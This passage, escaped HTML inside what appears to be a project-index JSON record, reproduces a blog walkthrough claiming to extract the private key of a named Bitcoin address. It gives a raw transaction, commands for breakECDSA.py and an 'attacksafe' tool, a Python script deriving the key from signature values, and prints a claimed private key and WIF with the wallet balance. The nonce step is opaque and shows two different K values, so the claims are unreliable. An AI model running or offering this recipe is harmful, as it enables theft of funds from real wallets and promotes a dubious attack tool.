href=\"https://www.blockchain.com/btc/address/15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz\"\u003ehttps://www.blockchain.com/btc/address/15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz\u003c/a\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003ePrivate Key Found!\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-57-1024x476.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1667\"\u003e\u003cfigcaption class=\"wp-element-caption\"\u003e\u003cstrong\u003e\u003ca href=\"https://www.blockchain.com/btc/address/15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003ccode\u003ewww.blockchain.com/btc/address/15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz\u003c/code\u003e\u003c/a\u003e\u003c/strong\u003e\u003c/figcaption\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003eBALANCE: $ 657.68\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003cp\u003e\u003cem\u003eThe potential threat of losing BTC coins lies in the critical vulnerability of the Bitcoin blockchain transaction, so we strongly recommend that everyone always update the software and use only verified devices.\u003c/em\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eWith detailed cryptanalysis, we also found a critical vulnerability in\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://btc1.trezor.io/tx/1bd43bdeb2d76f0c24eef5abddfdc439f02406375ccc02d44299715b057bdf7e\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e1bd43bdeb2d76f0c24eef5abddfdc439f02406375ccc02d44299715b057bdf7e\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;for the same Bitcoin Address\u003cstrong\u003e\u003ccode\u003e\u0026nbsp;TXID:\u003c/code\u003e\u003c/strong\u003e\u003cstrong\u003e\u003ca href=\"https://btc1.trezor.io/tx/1bd43bdeb2d76f0c24eef5abddfdc439f02406375ccc02d44299715b057bdf7e\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2\u003ePrepare RawTX for the attack\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://btc1.trezor.io/address/15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://btc1.trezor.io/tx/1bd43bdeb2d76f0c24eef5abddfdc439f02406375ccc02d44299715b057bdf7e\"\u003ehttps://btc1.trezor.io/tx/1bd43bdeb2d76f0c24eef5abddfdc439f02406375ccc02d44299715b057bdf7e\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-58-1024x138.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1670\"\u003e\u003c/figure\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eRawTX = 0100000001090090e02de381ea337027a92b40cf9ea64c49f3ff4a5dc6e86514cbb3e6fbba210000006b483045022100abfd0edfab28bfdaffd134487cbba8baba8796ae5da45cf5bdd8b73f221edfc902201b52781a8e038c877146d0671638be48da3a0e946589ebdc3bb876d351292ddc012102506c7593c4e301c2729dbfc46b2959c7a92f6f20c672b6d0feff9c5b6a567cf9ffffffff0180020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000\n\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003ch2\u003eNow we need to get all R, S, Z values ​​from all vulnerable transactions\u003c/h2\u003e\n\n\n\n\u003cp\u003eLet’s use the breakECDSA.py script\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003epython2 breakECDSA.py 0100000001090090e02de381ea337027a92b40cf9ea64c49f3ff4a5dc6e86514cbb3e6fbba210000006b483045022100abfd0edfab28bfdaffd134487cbba8baba8796ae5da45cf5bdd8b73f221edfc902201b52781a8e038c877146d0671638be48da3a0e946589ebdc3bb876d351292ddc012102506c7593c4e301c2729dbfc46b2959c7a92f6f20c672b6d0feff9c5b6a567cf9ffffffff0180020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000\n\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-59-1024x213.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1671\"\u003e\u003c/figure\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eR = 0xabfd0edfab28bfdaffd134487cbba8baba8796ae5da45cf5bdd8b73f221edfc9\nS = 0x1b52781a8e038c877146d0671638be48da3a0e946589ebdc3bb876d351292ddc\nZ = 0x4ff2faf760c97ea590a3c7deec2698695e9559d629d1e73271623fd07cfbeffa\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eTo get the secret key from a vulnerable ECDSA signing transaction, let’s add the data\u0026nbsp;\u003ccode\u003eRawTX\u003c/code\u003eto a text document and save it as a file\u003ccode\u003eRawTX.txt\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e0100000001090090e02de381ea337027a92b40cf9ea64c49f3ff4a5dc6e86514cbb3e6fbba210000006b483045022100abfd0edfab28bfdaffd134487cbba8baba8796ae5da45cf5bdd8b73f221edfc902201b52781a8e038c877146d0671638be48da3a0e946589ebdc3bb876d351292ddc012102506c7593c4e301c2729dbfc46b2959c7a92f6f20c672b6d0feff9c5b6a567cf9ffffffff0180020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2\u003eLaunch\u0026nbsp;\u003ccode\u003e-tool whitebox_attack\u003c/code\u003eusing software\u003ccode\u003e“ATTACKSAFE SOFTWARE”\u003c/code\u003e\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e./attacksafe -tool whitebox_attack -open RawTX.txt -save SecretKey.txt\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-60-1024x258.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1673\"\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003eWe launched this attack from\u0026nbsp;\u003ccode\u003e-tool whitebox_attack\u003c/code\u003eand the result was saved to a file\u003ccode\u003eSecretKey.txt\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eNow to see the successful result, open the file\u003ccode\u003eSecretKey.txt\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003ecat SecretKey.txt\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-61-1024x376.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1674\"\u003e\u003c/figure\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eDeployments ECDSA:\n\nSecretKey = 0xe7d9497ff0bab6f5dbbed781bc75be51ad98bbd70304e4def52c64e90b9822c2\n\nRawTX = 0100000001090090e02de381ea337027a92b40cf9ea64c49f3ff4a5dc6e86514cbb3e6fbba210000006b483045022100abfd0edfab28bfdaffd134487cbba8baba8796ae5da45cf5bdd8b73f221edfc902201b52781a8e038c877146d0671638be48da3a0e946589ebdc3bb876d351292ddc012102506c7593c4e301c2729dbfc46b2959c7a92f6f20c672b6d0feff9c5b6a567cf9ffffffff0180020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003eWe see an inscription\u0026nbsp;\u003ccode\u003e\"Deployments ECDSA\"\u003c/code\u003ethat means a critical vulnerability in the Bitcoin blockchain transaction.\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003eSecretKey value in HEX format, this is our secret key \"K\" (NONCE):\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003eK = 0xdd3fee317f873f30a38a54c2566a07cb7682612e3564996017b993b5416fcddc\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2\u003eLet’s check with a\u0026nbsp;\u003cem\u003ePython\u003c/em\u003e\u0026nbsp;script\u003ccode\u003epoint2gen.py\u003c/code\u003e\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://pypi.org/project/ECPy/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003eLet’s use the ECPy\u003c/strong\u003e\u003c/a\u003e\u0026nbsp;elliptic curve library\u0026nbsp;:\u003c/p\u003e\n\n\n\n\u003cp\u003eNow let’s run the script by specifying\u0026nbsp;\u003ccode\u003eSecret Key \"K\" (NONCE)\u003c/code\u003e:\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003epython3 point2gen.py 0xe7d9497ff0bab6f5dbbed781bc75be51ad98bbd70304e4def52c64e90b9822c2\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-62-1024x85.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1675\"\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003e(0xabfd0edfab28bfdaffd134487cbba8baba8796ae5da45cf5bdd8b73f221edfc9 , 0x9d29d467ba4eaea83ab268250f3101b200f66cebbbd0871c2a4c8af9d8730962)\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eChecking the coordinates of a point\u0026nbsp;\u003ccode\u003eEC (secp256k1)\u0026nbsp;\u003c/code\u003ewith a signature value\u003ccode\u003eR\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eR = 0xabfd0edfab28bfdaffd134487cbba8baba8796ae5da45cf5bdd8b73f221edfc9\nS = 0x1b52781a8e038c877146d0671638be48da3a0e946589ebdc3bb876d351292ddc\nZ = 0x4ff2faf760c97ea590a3c7deec2698695e9559d629d1e73271623fd07cfbeffa\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eR          =    0xabfd0edfab28bfdaffd134487cbba8baba8796ae5da45cf5bdd8b73f221edfc9\npoint2gen  =   (0xabfd0edfab28bfdaffd134487cbba8baba8796ae5da45cf5bdd8b73f221edfc9 , 0x9d29d467ba4eaea83ab268250f3101b200f66cebbbd0871c2a4c8af9d8730962)\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003eALL CORRECT!\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003eK = 0xe7d9497ff0bab6f5dbbed781bc75be51ad98bbd70304e4def52c64e90b9822c2\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eNow knowing the secret key, we can get the private key to the Bitcoin Wallet:\u003ccode\u003e15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2\u003eLet’s use\u0026nbsp; the\u0026nbsp;\u003cem\u003ePython\u003c/em\u003e\u0026nbsp;script:\u0026nbsp;\u0026nbsp;\u003ccode\u003ecalculate.py\u003c/code\u003e\u0026nbsp;\u0026gt; \u0026gt; \u0026gt; Get the Private Key\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eLet’s open the code and add all the value of the signatures\u003ccode\u003e\u003cstrong\u003eK, R, S, Z\u003c/strong\u003e\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003edef h(n):\n    return hex(n).replace(\"0x\",\"\")\n\ndef extended_gcd(aa, bb):\n    lastremainder, remainder = abs(aa), abs(bb)\n    x, lastx, y, lasty = 0, 1, 1, 0\n    while remainder:\n        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)\n        x, lastx = lastx - quotient*x, x\n        y, lasty = lasty - quotient*y, y\n    return lastremainder, lastx * (-1 if aa \u0026lt; 0 else 1), lasty * (-1 if bb \u0026lt; 0 else 1)\n\ndef modinv(a, m):\n    g, x, y = extended_gcd(a, m)\n    if g != 1:\n        raise ValueError\n    return x % m\n    \nN = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141\n\n\nK = 0xe7d9497ff0bab6f5dbbed781bc75be51ad98bbd70304e4def52c64e90b9822c2\nR = 0xabfd0edfab28bfdaffd134487cbba8baba8796ae5da45cf5bdd8b73f221edfc9\nS = 0x1b52781a8e038c877146d0671638be48da3a0e946589ebdc3bb876d351292ddc\nZ = 0x4ff2faf760c97ea590a3c7deec2698695e9559d629d1e73271623fd07cfbeffa\n\n\nprint (h((((S * K) - Z) * modinv(R,N)) % N))\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003ch2\u003eThe script will calculate the private key using the formula:\u003c/h2\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003ePrivkey = ((((S * K) - Z) * modinv(R,N)) % N)\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eLet’s run the script:\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003epython3 calculate.py\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-63.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1676\"\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003ePrivKey = 16f2eaf0c267f036f926d0b1332c05f244427c65ce70a11b96842bf1a8221301\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/bitaddress.html\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eLet’s open bitaddress\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;and\u0026nbsp;check:\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eADDR: 15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz\nWIF:  KwzKYYfPTrdAZA5m1kxs4WAjSWTuJRnD2ANKHGUugibgFBP4oDSG\nHEX:  16f2eaf0c267f036f926d0b1332c05f244427c65ce70a11b96842bf1a8221301\u003c/code\u003e\u003c/pre\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/003-2.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1694\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://www.blockchain.com/btc/address/15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz\"\u003ehttps://www.blockchain.com/btc/address/15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz\u003c/a\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003ePrivate Key Found!\u003c/code\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/003-addr.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1679\"\u003e\u003cfigcaption class=\"wp-element-caption\"\u003e\u003cstrong\u003e\u003ca href=\"https://www.blockchain.com/btc/address/15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003ccode\u003ewww.blockchain.com/btc/address/15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz\u003c/code\u003e\u003c/a\u003e\u003c/strong\u003e\u003c/figcaption\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003cp\u003e\u003ccode\u003eBALANCE: $ 657.68\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdemining%2Fwhitebox-attack","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fdemining%2Fwhitebox-attack","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdemining%2Fwhitebox-attack/lists"}